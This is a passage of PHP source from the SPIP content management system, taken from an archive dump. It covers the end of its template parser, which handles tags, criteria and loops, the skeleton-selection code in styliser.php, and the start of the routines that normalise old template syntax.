$champ->ligne = $ligne; $ligne += substr_count($match[0], "\n"); $lang = ''; $bloc = $match[1]; $texte = substr($texte, $p + strlen($match[0])); while (preg_match("/^[[:space:]]*([^[{]*)[[:space:]]*[[{]([a-z_]+)[]}](.*)$/si", $bloc, $regs)) { $trad = $regs[1]; if ($trad or $lang) { $champ->traductions[$lang] = $trad; } $lang = $regs[2]; $bloc = $regs[3]; } $champ->traductions[$lang] = $bloc; $result[] = $champ; } } if ($texte !== "") { $champ = new Texte; $champ->texte = $texte; $champ->ligne = $ligne; $result[] = $champ; } return $result; } /** * Repérer les balises de traduction (idiomes) * * Phrase les idiomes tel que * - `<:chaine:>` * - `<:module:chaine:>` * - `<:module:chaine{arg1=texte1,arg2=#BALISE}|filtre1{texte2,#BALISE}|filtre2:>` * * @note * `chaine` peut etre vide si `=texte1` est present et `arg1` est vide * sinon ce n'est pas un idiome * * @param string $texte * @param int $ligne * @param array $result * @return array **/ function phraser_idiomes($texte, $ligne, $result) { while (preg_match(BALISE_IDIOMES, $texte, $match)) { $match = array_pad($match, 8, null); $p = strpos($texte, $match[0]); $ko = (!$match[3] && ($match[5][0] !== '=')); $debut = substr($texte, 0, $p + ($ko ? strlen($match[0]) : 0)); if ($debut) { $result = phraser_champs($debut, $ligne, $result); } $texte = substr($texte, $p + strlen($match[0])); $ligne += substr_count($debut, "\n"); if ($ko) { continue; } // faux idiome $champ = new Idiome; $champ->ligne = $ligne; $ligne += substr_count($match[0], "\n"); // Stocker les arguments de la balise de traduction $args = array(); $largs = $match[5]; while (preg_match(BALISE_IDIOMES_ARGS, $largs, $r)) { $args[$r[1]] = phraser_champs($r[2], 0, array()); $largs = substr($largs, strlen($r[0])); } $champ->arg = $args; $champ->nom_champ = strtolower($match[3]); $champ->module = $match[2]; // pas d'imbrication pour les filtres sur langue phraser_args($match[7], ":", '', array(), $champ); $result[] = $champ; } if ($texte !== "") { $result = phraser_champs($texte, $ligne, $result); } return $result; } /** * Repère et phrase les balises SPIP tel que `#NOM` dans un texte * * Phrase également ses arguments si la balise en a (`#NOM{arg, ...}`) * * @uses phraser_polyglotte() * @uses phraser_args() * @uses phraser_vieux() * * @param string $texte * @param int $ligne * @param array $result * @return array **/ function phraser_champs($texte, $ligne, $result) { while (preg_match("/" . NOM_DE_CHAMP . "/S", $texte, $match)) { $p = strpos($texte, $match[0]); // texte après la balise $suite = substr($texte, $p + strlen($match[0])); $debut = substr($texte, 0, $p); if ($p) { $result = phraser_polyglotte($debut, $ligne, $result); } $ligne += substr_count($debut, "\n"); $champ = new Champ; $champ->ligne = $ligne; $ligne += substr_count($match[0], "\n"); $champ->nom_boucle = $match[2]; $champ->nom_champ = $match[3]; $champ->etoile = $match[5]; if ($suite and $suite[0] == '{') { phraser_arg($suite, '', array(), $champ); // ce ltrim est une ereur de conception // mais on le conserve par souci de compatibilite $texte = ltrim($suite); // Il faudrait le normaliser dans l'arbre de syntaxe abstraite // pour faire sauter ce cas particulier a la decompilation. /* Ce qui suit est malheureusement incomplet pour cela: if ($n = (strlen($suite) - strlen($texte))) { $champ->apres = array(new Texte); $champ->apres[0]->texte = substr($suite,0,$n); } */ } else { $texte = $suite; } phraser_vieux($champ); $result[] = $champ; } if ($texte !== "") { $result = phraser_polyglotte($texte, $ligne, $result); } return $result; } // Gestion des imbrications: // on cherche les [..] les plus internes et on les remplace par une chaine // %###N@ ou N indexe un tableau comportant le resultat de leur analyse // on recommence tant qu'il y a des [...] en substituant a l'appel suivant // http://code.spip.net/@phraser_champs_etendus function phraser_champs_etendus($texte, $ligne, $result) { if ($texte === "") { return $result; } $sep = '##'; while (strpos($texte, $sep) !== false) { $sep .= '#'; } return array_merge($result, phraser_champs_interieurs($texte, $ligne, $sep, array())); } // Analyse les filtres d'un champ etendu et affecte le resultat // renvoie la liste des lexemes d'origine augmentee // de ceux trouves dans les arguments des filtres (rare) // sert aussi aux arguments des includes et aux criteres de boucles // Tres chevelu // http://code.spip.net/@phraser_args function phraser_args($texte, $fin, $sep, $result, &$pointeur_champ) { $texte = ltrim($texte); while (($texte !== "") && strpos($fin, $texte[0]) === false) { $result = phraser_arg($texte, $sep, $result, $pointeur_champ); $texte = ltrim($texte); } # mettre ici la suite du texte, # notamment pour que l'appelant vire le caractere fermant si besoin $pointeur_champ->apres = $texte; return $result; } // http://code.spip.net/@phraser_arg function phraser_arg(&$texte, $sep, $result, &$pointeur_champ) { preg_match(",^(\|?[^}{)|]*)(.*)$,ms", $texte, $match); $suite = ltrim($match[2]); $fonc = trim($match[1]); if ($fonc && $fonc[0] == "|") { $fonc = ltrim(substr($fonc, 1)); } $res = array($fonc); $err_f = ''; // cas du filtre sans argument ou du critere / if (($suite && ($suite[0] != '{')) || ($fonc && $fonc[0] == '/')) { // si pas d'argument, alors il faut une fonction ou un double | if (!$match[1]) { $err_f = array('zbug_erreur_filtre', array('filtre' => $texte)); erreur_squelette($err_f, $pointeur_champ); $texte = ''; } else { $texte = $suite; } if ($err_f) { $pointeur_champ->param = false; } elseif ($fonc !== '') { $pointeur_champ->param[] = $res; } // pour les balises avec faux filtres qui boudent ce dur larbeur $pointeur_champ->fonctions[] = array($fonc, ''); return $result; } $args = ltrim(substr($suite, 1)); // virer le '(' initial $collecte = array(); while ($args && $args[0] != '}') { if ($args[0] == '"') { preg_match('/^(")([^"]*)(")(.*)$/ms', $args, $regs); } elseif ($args[0] == "'") { preg_match("/^(')([^']*)(')(.*)$/ms", $args, $regs); } else { preg_match("/^([[:space:]]*)([^,([{}]*([(\[{][^])}]*[])}])?[^,}]*)([,}].*)$/ms", $args, $regs); if (!strlen($regs[2])) { $err_f = array('zbug_erreur_filtre', array('filtre' => $args)); erreur_squelette($err_f, $pointeur_champ); $champ = new Texte; $champ->apres = $champ->avant = $args = ""; break; } } $arg = $regs[2]; if (trim($regs[1])) { $champ = new Texte; $champ->texte = $arg; $champ->apres = $champ->avant = $regs[1]; $result[] = $champ; $collecte[] = $champ; $args = ltrim($regs[count($regs) - 1]); } else { if (!preg_match("/" . NOM_DE_CHAMP . "([{|])/", $arg, $r)) { // 0 est un aveu d'impuissance. A completer $arg = phraser_champs_exterieurs($arg, 0, $sep, $result); $args = ltrim($regs[count($regs) - 1]); $collecte = array_merge($collecte, $arg); $result = array_merge($result, $arg); } else { $n = strpos($args, $r[0]); $pred = substr($args, 0, $n); $par = ',}'; if (preg_match('/^(.*)\($/', $pred, $m)) { $pred = $m[1]; $par = ')'; } if ($pred) { $champ = new Texte; $champ->texte = $pred; $champ->apres = $champ->avant = ""; $result[] = $champ; $collecte[] = $champ; } $rec = substr($args, $n + strlen($r[0]) - 1); $champ = new Champ; $champ->nom_boucle = $r[2]; $champ->nom_champ = $r[3]; $champ->etoile = $r[5]; $next = $r[6]; while ($next == '{') { phraser_arg($rec, $sep, array(), $champ); $args = ltrim($rec); $next = isset($args[0]) ? $args[0] : ''; } while ($next == '|') { phraser_args($rec, $par, $sep, array(), $champ); $args = $champ->apres; $champ->apres = ''; $next = isset($args[0]) ? $args[0] : ''; } // Si erreur de syntaxe dans un sous-argument, propager. if ($champ->param === false) { $err_f = true; } else { phraser_vieux($champ); } if ($par == ')') { $args = substr($args, 1); } $collecte[] = $champ; $result[] = $champ; } } if (isset($args[0]) and $args[0] == ',') { $args = ltrim(substr($args, 1)); if ($collecte) { $res[] = $collecte; $collecte = array(); } } } if ($collecte) { $res[] = $collecte; $collecte = array(); } $texte = substr($args, 1); $source = substr($suite, 0, strlen($suite) - strlen($texte)); // propager les erreurs, et ignorer les param vides if ($pointeur_champ->param !== false) { if ($err_f) { $pointeur_champ->param = false; } elseif ($fonc !== '' || count($res) > 1) { $pointeur_champ->param[] = $res; } } // pour les balises avec faux filtres qui boudent ce dur larbeur $pointeur_champ->fonctions[] = array($fonc, $source); return $result; } // http://code.spip.net/@phraser_champs_exterieurs function phraser_champs_exterieurs($texte, $ligne, $sep, $nested) { $res = array(); while (($p = strpos($texte, "%$sep")) !== false) { if (!preg_match(',^%' . preg_quote($sep) . '([0-9]+)@,', substr($texte, $p), $m)) { break; } $debut = substr($texte, 0, $p); $texte = substr($texte, $p + strlen($m[0])); if ($p) { $res = phraser_inclure($debut, $ligne, $res); } $ligne += substr_count($debut, "\n"); $res[] = $nested[$m[1]]; } return (($texte === '') ? $res : phraser_inclure($texte, $ligne, $res)); } // http://code.spip.net/@phraser_champs_interieurs function phraser_champs_interieurs($texte, $ligne, $sep, $result) { $i = 0; // en fait count($result) $x = ""; while (true) { $j = $i; $n = $ligne; while (preg_match(CHAMP_ETENDU, $texte, $match)) { $p = strpos($texte, $match[0]); $debut = substr($texte, 0, $p); if ($p) { $result[$i] = $debut; $i++; } $nom = $match[4]; $champ = new Champ; // ca ne marche pas encore en cas de champ imbrique $champ->ligne = $x ? 0 : ($n + substr_count($debut, "\n")); $champ->nom_boucle = $match[3]; $champ->nom_champ = $nom; $champ->etoile = $match[6]; // phraser_args indiquera ou commence apres $result = phraser_args($match[7], ")", $sep, $result, $champ); phraser_vieux($champ); $champ->avant = phraser_champs_exterieurs($match[1], $n, $sep, $result); $debut = substr($champ->apres, 1); if (!empty($debut)) { $n += substr_count(substr($texte, 0, strpos($texte, $debut)), "\n"); } $champ->apres = phraser_champs_exterieurs($debut, $n, $sep, $result); $result[$i] = $champ; $i++; $texte = substr($texte, $p + strlen($match[0])); } if ($texte !== "") { $result[$i] = $texte; $i++; } $x = ''; while ($j < $i) { $z = $result[$j]; // j'aurais besoin de connaitre le nombre de lignes... if (is_object($z)) { $x .= "%$sep$j@"; } else { $x .= $z; } $j++; } if (preg_match(CHAMP_ETENDU, $x)) { $texte = $x; } else { return phraser_champs_exterieurs($x, $ligne, $sep, $result); } } } function phraser_vieux(&$champ) { $nom = $champ->nom_champ; if ($nom == 'EMBED_DOCUMENT') { if (!function_exists('phraser_vieux_emb')) { include_spip('public/normaliser'); } phraser_vieux_emb($champ); } elseif ($nom == 'EXPOSER') { if (!function_exists('phraser_vieux_exposer')) { include_spip('public/normaliser'); } phraser_vieux_exposer($champ); } elseif ($champ->param) { if ($nom == 'FORMULAIRE_RECHERCHE') { if (!function_exists('phraser_vieux_recherche')) { include_spip('public/normaliser'); } phraser_vieux_recherche($champ); } elseif (preg_match(",^LOGO_[A-Z]+,", $nom)) { if (!function_exists('phraser_vieux_logos')) { include_spip('public/normaliser'); } phraser_vieux_logos($champ); } elseif ($nom == 'MODELE') { if (!function_exists('phraser_vieux_modele')) { include_spip('public/normaliser'); } phraser_vieux_modele($champ); } elseif ($nom == 'INCLURE' or $nom == 'INCLUDE') { if (!function_exists('phraser_vieux_inclu')) { include_spip('public/normaliser'); } phraser_vieux_inclu($champ); } } } /** * Analyse les critères de boucle * * Chaque paramètre de la boucle (tel que {id_article>3}) est analysé * pour construire un critère (objet Critere) de boucle. * * Un critère a une description plus fine que le paramètre original * car on en extrait certaines informations tel que la négation et l'opérateur * utilisé s'il y a. * * La fonction en profite pour déclarer des modificateurs de boucles * en présence de certains critères (tout, plat) ou initialiser des * variables de compilation (doublons)... * * @param array $params * Tableau de description des paramètres passés à la boucle. * Chaque paramètre deviendra un critère * @param Boucle $result * Description de la boucle * Elle sera complété de la liste de ses critères * @return void **/ function phraser_criteres($params, &$result) { $err_ci = ''; // indiquera s'il y a eu une erreur $args = array(); $type = $result->type_requete; $doublons = array(); foreach ($params as $v) { $var = $v[1][0]; $param = ($var->type != 'texte') ? "" : $var->texte; if ((count($v) > 2) && (!preg_match(",[^A-Za-z]IN[^A-Za-z],i", $param))) { // plus d'un argument et pas le critere IN: // detecter comme on peut si c'est le critere implicite LIMIT debut, fin if ($var->type != 'texte' or preg_match("/^(n|n-|(n-)?\d+)$/S", $param) ) { $op = ','; $not = ""; $cond = false; } else { // Le debut du premier argument est l'operateur preg_match("/^([!]?)([a-zA-Z][a-zA-Z0-9_]*)[[:space:]]*(\??)[[:space:]]*(.*)$/ms", $param, $m); $op = $m[2]; $not = $m[1]; $cond = $m[3]; // virer le premier argument, // et mettre son reliquat eventuel // Recopier pour ne pas alterer le texte source // utile au debusqueur if ($m[4]) { // une maniere tres sale de supprimer les "' autour de {critere "xxx","yyy"} if (preg_match(',^(["\'])(.*)\1$,', $m[4])) { $c = null; eval('$c = ' . $m[4] . ';'); if (isset($c)) { $m[4] = $c; } } $texte = new Texte; $texte->texte = $m[4]; $v[1][0] = $texte; } else { array_shift($v[1]); } } array_shift($v); // $v[O] est vide $crit = new Critere; $crit->op = $op; $crit->not = $not; $crit->cond = $cond; $crit->exclus = ""; $crit->param = $v; $args[] = $crit; } else { if ($var->type != 'texte') { // cas 1 seul arg ne commencant pas par du texte brut: // erreur ou critere infixe "/" if (($v[1][1]->type != 'texte') || (trim($v[1][1]->texte) != '/')) { $err_ci = array( 'zbug_critere_inconnu', array('critere' => $var->nom_champ) ); erreur_squelette($err_ci, $result); } else { $crit = new Critere; $crit->op = '/'; $crit->not = ""; $crit->exclus = ""; $crit->param = array(array($v[1][0]), array($v[1][2])); $args[] = $crit; } } else { // traiter qq lexemes particuliers pour faciliter la suite // les separateurs if ($var->apres) { $result->separateur[] = $param; } elseif (($param == 'tout') or ($param == 'tous')) { $result->modificateur['tout'] = true; } elseif ($param == 'plat') { $result->modificateur['plat'] = true; } // Boucle hierarchie, analyser le critere id_rubrique // et les autres critères {id_x} pour forcer {tout} sur // ceux-ci pour avoir la rubrique mere... // Les autres critères de la boucle hierarchie doivent être // traités normalement. elseif (strcasecmp($type, 'hierarchie') == 0 and !preg_match(",^id_rubrique\b,", $param) and preg_match(",^id_\w+\s*$,", $param) ) { $result->modificateur['tout'] = true; } elseif (strcasecmp($type, 'hierarchie') == 0 and $param == "id_rubrique") { // rien a faire sur {id_rubrique} tout seul } else { // pas d'emplacement statique, faut un dynamique // mais il y a 2 cas qui ont les 2 ! if (($param == 'unique') || (preg_match(',^!?doublons *,', $param))) { // cette variable sera inseree dans le code // et son nom sert d'indicateur des maintenant $result->doublons = '$doublons_index'; if ($param == 'unique') { $param = 'doublons'; } } elseif ($param == 'recherche') { // meme chose (a cause de #nom_de_boucle:URL_*) $result->hash = ' '; } if (preg_match(',^ *([0-9-]+) *(/) *(.+) *$,', $param, $m)) { $crit = phraser_critere_infixe($m[1], $m[3], $v, '/', '', ''); } elseif (preg_match(',^([!]?)(' . CHAMP_SQL_PLUS_FONC . ')[[:space:]]*(\??)(!?)(<=?|>=?|==?|\b(?:IN|LIKE)\b)(.*)$,is', $param, $m)) { $a2 = trim($m[8]); if ($a2 and ($a2[0] == "'" or $a2[0] == '"') and ($a2[0] == substr($a2, -1))) { $a2 = substr($a2, 1, -1); } $crit = phraser_critere_infixe($m[2], $a2, $v, (($m[2] == 'lang_select') ? $m[2] : $m[7]), $m[6], $m[5]); $crit->exclus = $m[1]; } elseif (preg_match("/^([!]?)\s*(" . CHAMP_SQL_PLUS_FONC . ")\s*(\??)(.*)$/is", $param, $m)) { // contient aussi les comparaisons implicites ! // Comme ci-dessus: // le premier arg contient l'operateur array_shift($v); if ($m[6]) { $v[0][0] = new Texte; $v[0][0]->texte = $m[6]; } else { array_shift($v[0]); if (!$v[0]) { array_shift($v); } } $crit = new Critere; $crit->op = $m[2]; $crit->param = $v; $crit->not = $m[1]; $crit->cond = $m[5]; } else { $err_ci = array( 'zbug_critere_inconnu', array('critere' => $param) ); erreur_squelette($err_ci, $result); } if ((!preg_match(',^!?doublons *,', $param)) || $crit->not) { $args[] = $crit; } else { $doublons[] = $crit; } } } } } // les doublons non nies doivent etre le dernier critere // pour que la variable $doublon_index ait la bonne valeur // cf critere_doublon if ($doublons) { $args = array_merge($args, $doublons); } // Si erreur, laisser la chaine dans ce champ pour le HTTP 503 if (!$err_ci) { $result->criteres = $args; } } // http://code.spip.net/@phraser_critere_infixe function phraser_critere_infixe($arg1, $arg2, $args, $op, $not, $cond) { $args[0] = new Texte; $args[0]->texte = $arg1; $args[0] = array($args[0]); $args[1][0] = new Texte; $args[1][0]->texte = $arg2; $crit = new Critere; $crit->op = $op; $crit->not = $not; $crit->cond = $cond; $crit->param = $args; return $crit; } function public_phraser_html_dist($texte, $id_parent, &$boucles, $descr, $ligne = 1) { $all_res = array(); while (($pos_boucle = strpos($texte, BALISE_BOUCLE)) !== false) { $err_b = ''; // indiquera s'il y a eu une erreur $result = new Boucle; $result->id_parent = $id_parent; $result->descr = $descr; # attention: reperer la premiere des 2 balises: pre_boucle ou boucle if (!preg_match("," . BALISE_PRE_BOUCLE . '[0-9_],', $texte, $r) or ($n = strpos($texte, $r[0])) === false or ($n > $pos_boucle) ) { $debut = substr($texte, 0, $pos_boucle); $milieu = substr($texte, $pos_boucle); $k = strpos($milieu, '('); $id_boucle = trim(substr($milieu, strlen(BALISE_BOUCLE), $k - strlen(BALISE_BOUCLE))); $milieu = substr($milieu, $k); } else { $debut = substr($texte, 0, $n); $milieu = substr($texte, $n); $k = strpos($milieu, '>'); $id_boucle = substr($milieu, strlen(BALISE_PRE_BOUCLE), $k - strlen(BALISE_PRE_BOUCLE)); if (!preg_match("," . BALISE_BOUCLE . $id_boucle . "[[:space:]]*\(,", $milieu, $r)) { $err_b = array('zbug_erreur_boucle_syntaxe', array('id' => $id_boucle)); erreur_squelette($err_b, $result); $texte = substr($texte, $n + 1); continue; } else { $pos_boucle = $n; $n = strpos($milieu, $r[0]); $result->avant = substr($milieu, $k + 1, $n - $k - 1); $milieu = substr($milieu, $n + strlen($id_boucle) + strlen(BALISE_BOUCLE)); } } $result->id_boucle = $id_boucle; preg_match(SPEC_BOUCLE, $milieu, $match); $result->type_requete = $match[0]; $milieu = substr($milieu, strlen($match[0])); $type = $match[1]; $jointures = trim($match[2]); $table_optionnelle = ($match[3]); if ($jointures) { // on affecte pas ici les jointures explicites, mais dans la compilation // ou elles seront completees des jointures declarees $result->jointures_explicites = $jointures; } if ($table_optionnelle) { $result->table_optionnelle = $type; } // 1ere passe sur les criteres, vu comme des arguments sans fct // Resultat mis dans result->param phraser_args($milieu, "/>", "", $all_res, $result); // En 2e passe result->criteres contiendra un tableau // pour l'instant on met le source (chaine) : // si elle reste ici au final, c'est qu'elle contient une erreur $result->criteres = substr($milieu, 0, @strpos($milieu, $result->apres)); $milieu = $result->apres; $result->apres = ""; // // Recuperer la fin : // if ($milieu[0] === '/') { $suite = substr($milieu, 2); $milieu = ''; } else { $milieu = substr($milieu, 1); $s = BALISE_FIN_BOUCLE . $id_boucle . ">"; $p = strpos($milieu, $s); if ($p === false) { $err_b = array( 'zbug_erreur_boucle_fermant', array('id' => $id_boucle) ); erreur_squelette($err_b, $result); } $suite = substr($milieu, $p + strlen($s)); $milieu = substr($milieu, 0, $p); } $result->milieu = $milieu; // // 1. Recuperer la partie conditionnelle apres // $s = BALISE_POST_BOUCLE . $id_boucle . ">"; $p = strpos($suite, $s); if ($p !== false) { $result->apres = substr($suite, 0, $p); $suite = substr($suite, $p + strlen($s)); } // // 2. Recuperer la partie alternative // $s = BALISE_ALT_BOUCLE . $id_boucle . ">"; $p = strpos($suite, $s); if ($p !== false) { $result->altern = substr($suite, 0, $p); $suite = substr($suite, $p + strlen($s)); } $result->ligne = $ligne + substr_count($debut, "\n"); $m = substr_count($milieu, "\n"); $b = substr_count($result->avant, "\n"); $a = substr_count($result->apres, "\n"); if ($p = strpos($type, ':')) { $result->sql_serveur = substr($type, 0, $p); $type = substr($type, $p + 1); } $soustype = strtolower($type); if (!isset($GLOBALS["table_des_tables"][$soustype])) { $soustype = $type; } $result->type_requete = $soustype; // Lancer la 2e passe sur les criteres si la 1ere etait bonne if (!is_array($result->param)) { $err_b = true; } else { phraser_criteres($result->param, $result); if (strncasecmp($soustype, TYPE_RECURSIF, strlen(TYPE_RECURSIF)) == 0) { $result->type_requete = TYPE_RECURSIF; $args = $result->param; array_unshift($args, substr($type, strlen(TYPE_RECURSIF))); $result->param = $args; } } $result->avant = public_phraser_html_dist($result->avant, $id_parent, $boucles, $descr, $result->ligne); $result->apres = public_phraser_html_dist($result->apres, $id_parent, $boucles, $descr, $result->ligne + $b + $m); $result->altern = public_phraser_html_dist($result->altern, $id_parent, $boucles, $descr, $result->ligne + $a + $m + $b); $result->milieu = public_phraser_html_dist($milieu, $id_boucle, $boucles, $descr, $result->ligne + $b); // Prevenir le generateur de code que le squelette est faux if ($err_b) { $result->type_requete = false; } // Verifier qu'il n'y a pas double definition // apres analyse des sous-parties (pas avant). if (isset($boucles[$id_boucle])) { $err_b_d = array( 'zbug_erreur_boucle_double', array('id' => $id_boucle) ); erreur_squelette($err_b_d, $result); // Prevenir le generateur de code que le squelette est faux $boucles[$id_boucle]->type_requete = false; } else { $boucles[$id_boucle] = $result; } $all_res = phraser_champs_etendus($debut, $ligne, $all_res); $all_res[] = &$boucles[$id_boucle]; if (!empty($suite)) { $ligne += substr_count(substr($texte, 0, strpos($texte, $suite)), "\n"); } $texte = $suite; } return phraser_champs_etendus($texte, $ligne, $all_res); } styliser.php000066600000013370152442520540007146 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de la sélection d'un squelette depuis son nom parmi les * chemins connus de SPIP * * Recherche par exemple `contenu\xx` et en absence utilisera `contenu\dist` * * @package SPIP\Core\Public\Styliser **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } // Ce fichier doit imperativement definir la fonction ci-dessous: /** * Déterminer le squelette qui sera utilisé pour rendre la page ou le bloc * à partir de `$fond` et du `$contetxe` * * Actuellement tous les squelettes se terminent par `.html` * pour des raisons historiques, ce qui est trompeur * * @param string $fond * @param array $contexte * @param string $lang * @param string $connect * @return array */ function public_styliser_dist($fond, $contexte, $lang = '', $connect = '') { static $styliser_par_z; // s'assurer que le fond est licite // car il peut etre construit a partir d'une variable d'environnement if (strpos($fond, "../") !== false or strncmp($fond, '/', 1) == 0) { $fond = "404"; } // Choisir entre $fond-dist.html, $fond=7.html, etc? $id_rubrique = 0; // Chercher le fond qui va servir de squelette if ($r = quete_rubrique_fond($contexte)) { list($id_rubrique, $lang) = $r; } // trouver un squelette du nom demande // ne rien dire si on ne trouve pas, // c'est l'appelant qui sait comment gerer la situation // ou les plugins qui feront mieux dans le pipeline $squelette = trouver_fond($fond, "", true); $ext = $squelette['extension']; $flux = array( 'args' => array( 'id_rubrique' => $id_rubrique, 'ext' => $ext, 'fond' => $fond, 'lang' => $lang, 'contexte' => $contexte, // le style d'un objet peut dependre de lui meme 'connect' => $connect ), 'data' => $squelette['fond'], ); if (test_espace_prive() or defined('_ZPIP')) { if (!$styliser_par_z) { $styliser_par_z = charger_fonction('styliser_par_z', 'public'); } $flux = $styliser_par_z($flux); } $flux = styliser_par_objets($flux); // pipeline styliser $squelette = pipeline('styliser', $flux); return array($squelette, $ext, $ext, "$squelette.$ext"); } /** * Cherche à échafauder un squelette générique pour un objet éditorial si * aucun squelette approprié n'a été trouvé * * Échaffaude seulement pour des appels à `prive/objets/liste/` ou * `prive/objets/contenu/` pour lesquels aucun squelette n'a été trouvé, * et uniquement si l'on est dans l'espace privé. * * @see prive_echafauder_dist() * * @param array $flux * Données du pipeline styliser * @return array * Données du pipeline styliser **/ function styliser_par_objets($flux) { if (test_espace_prive() and !$squelette = $flux['data'] and strncmp($flux['args']['fond'], 'prive/objets/', 13) == 0 and $echafauder = charger_fonction('echafauder', 'prive', true) ) { if (strncmp($flux['args']['fond'], 'prive/objets/liste/', 19) == 0) { $table = table_objet(substr($flux['args']['fond'], 19)); $table_sql = table_objet_sql($table); $objets = lister_tables_objets_sql(); if (isset($objets[$table_sql])) { $flux['data'] = $echafauder($table, $table, $table_sql, "prive/objets/liste/objets", $flux['args']['ext']); } } if (strncmp($flux['args']['fond'], 'prive/objets/contenu/', 21) == 0) { $type = substr($flux['args']['fond'], 21); $table = table_objet($type); $table_sql = table_objet_sql($table); $objets = lister_tables_objets_sql(); if (isset($objets[$table_sql])) { $flux['data'] = $echafauder($type, $table, $table_sql, "prive/objets/contenu/objet", $flux['args']['ext']); } } } return $flux; } /** * Calcul de la rubrique associée à la requête * (sélection de squelette spécifique par id_rubrique & lang) * * Êttention, on repète cela à chaque inclusion, * on optimise donc pour ne faire la recherche qu'une fois * par contexte semblable du point de vue des id_xx * * @staticvar array $liste_objets * @param array $contexte * @return array */ function quete_rubrique_fond($contexte) { static $liste_objets = null; static $quete = array(); if (is_null($liste_objets)) { $liste_objets = array(); include_spip('inc/urls'); include_spip('public/quete'); $l = urls_liste_objets(false); // placer la rubrique en tete des objets $l = array_diff($l, array('rubrique')); array_unshift($l, 'rubrique'); foreach ($l as $objet) { $id = id_table_objet($objet); if (!isset($liste_objets[$id])) { $liste_objets[$id] = objet_type($objet, false); } } } $c = array_intersect_key($contexte, $liste_objets); if (!count($c)) { return false; } $c = array_map('intval', $c); $s = serialize($c); if (isset($quete[$s])) { return $quete[$s]; } if (isset($c['id_rubrique']) and $r = $c['id_rubrique']) { unset($c['id_rubrique']); $c = array('id_rubrique' => $r) + $c; } foreach ($c as $_id => $id) { if ($id and $row = quete_parent_lang(table_objet_sql($liste_objets[$_id]), $id) ) { $lang = isset($row['lang']) ? $row['lang'] : ''; if ($_id == 'id_rubrique' or (isset($row['id_rubrique']) and $id = $row['id_rubrique'])) { return $quete[$s] = array($id, $lang); } } } return $quete[$s] = false; } normaliser.php000066600000012532152442520540007442 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } // Les fonctions de ce fichier sont appelees en certains points // de l'analyseur syntaxique afin de normaliser de vieilles syntaxes, // pour fournir au compilateur un arbre de syntaxe abstraite homogene // Cas des pseudos filtres |fichier et |lien qui donnent le chemin du fichier // et son URL, remplaces par ** et *: LOGO_XXX** et LOGO_XXX* // Il y a aussi le futur attribut align et l'ecriture #LOGO|#URL // qui passent en arguments de la balise: #LOGO{left,#URL...} // -> http://www.spip.net/fr_article901.html function phraser_vieux_logos(&$p) { if ($p->param[0][0]) { $args = array(''); } else { $args = array_shift($p->param); } foreach ($p->param as $couple) { $nom = trim($couple[0]); if ($nom == '') { array_shift($p->param); break; } $r = phraser_logo_faux_filtres($nom); if ($r === 0) { $c = new Texte; $c->texte = $nom; $args[] = array($c); array_shift($p->param); spip_log("filtre de logo obsolete $nom", 'vieilles_defs'); } elseif ($r === 2) { $p->etoile = '**'; array_shift($p->param); spip_log("filtre de logo obsolete $nom", 'vieilles_defs'); } elseif ($r === 1) { array_shift($p->param); $p->etoile = '*'; spip_log("filtre de logo obsolete $nom", 'vieilles_defs'); } elseif (preg_match("/^" . NOM_DE_CHAMP . '(.*)$/sS', $nom, $m)) { $champ = new Champ(); $champ->nom_boucle = $m[2]; $champ->nom_champ = $m[3]; $champ->etoile = $m[5]; $champ = array($champ); if ($m[6]) { $r = new Texte; $r->texte = $m[6]; $champ[] = $r; } $args[] = $champ; array_shift($p->param); spip_log("filtre de logo obsolete $nom", 'vieilles_defs'); } // le cas else est la seule incompatibilite } array_unshift($p->param, $args); } function phraser_logo_faux_filtres($nom) { switch ($nom) { case 'top': case 'left': case 'right': case 'center': case 'bottom': return 0; case 'lien': return 1; case 'fichier': return 2; default: return $nom; } } // La balise embed_document est a present le modele emb function phraser_vieux_emb(&$p) { if (!is_array($p->param)) { $p->param = array(); } // Produire le premier argument {emb} $texte = new Texte; $texte->texte = 'emb'; $param = array('', array($texte)); // Transformer les filtres en arguments for ($i = 0; $i < count($p->param); $i++) { if ($p->param[$i][0]) { if (!strstr($p->param[$i][0], '=')) { break; }# on a rencontre un vrai filtre, c'est fini $texte = new Texte; $texte->texte = $p->param[$i][0]; $param[] = array($texte); } array_shift($p->param); } array_unshift($p->param, $param); spip_log('balise EMBED_DOCUMENT obsolete', 'vieilles_defs'); $p->nom_champ = 'MODELE'; } // Vieux formulaire de recherch function phraser_vieux_recherche($p) { if ($p->param[0][0]) { $c = new Texte; $c->texte = $p->param[0][0]; $p->param[0][1] = array($c); $p->param[0][0] = ''; $p->fonctions = array(); spip_log('FORMULAIRE_RECHERCHE avec filtre ' . $c->texte, 'vieilles_defs'); } } // Gerer la notation [(#EXPOSER|on,off)] function phraser_vieux_exposer($p) { if ($a = $p->fonctions) { preg_match("#([^,]*)(,(.*))?#", $a[0][0], $regs); $args = array(); if ($regs[1]) { $a = new Texte; $a->texte = $regs[1]; $args = array('', array($a)); if ($regs[3]) { $a = new Texte; $a->texte = $regs[3]; $args[] = array($a); } } $p->param[0] = $args; $p->fonctions = array(); $p->nom_champ = 'EXPOSE'; } } function phraser_vieux_modele($p) { normaliser_args_inclumodel($p); } function phraser_vieux_inclu($p) { normaliser_args_inclumodel($p); } function normaliser_args_inclumodel($p) { $params = $p->param; if (!$params) { return; } $args = $params[0]; if ($args[0]) { return; } // filtre immediat array_shift($p->param); foreach ($p->param as $l) { if (!array_shift($l)) { $args = array_merge($args, $l); array_shift($p->param); } else { break; } // filtre } array_unshift($p->param, $args); } function normaliser_inclure($champ) { normaliser_args_inclumodel($champ); $l = $champ->param[0]; if (is_array($l) and !$l[0]) { foreach ($l as $k => $p) { if ($p and $p[0]->type == 'texte' and !strpos($p[0]->texte, '=')) { $p[0]->texte = trim($p[0]->texte); } } foreach ($l as $k => $p) 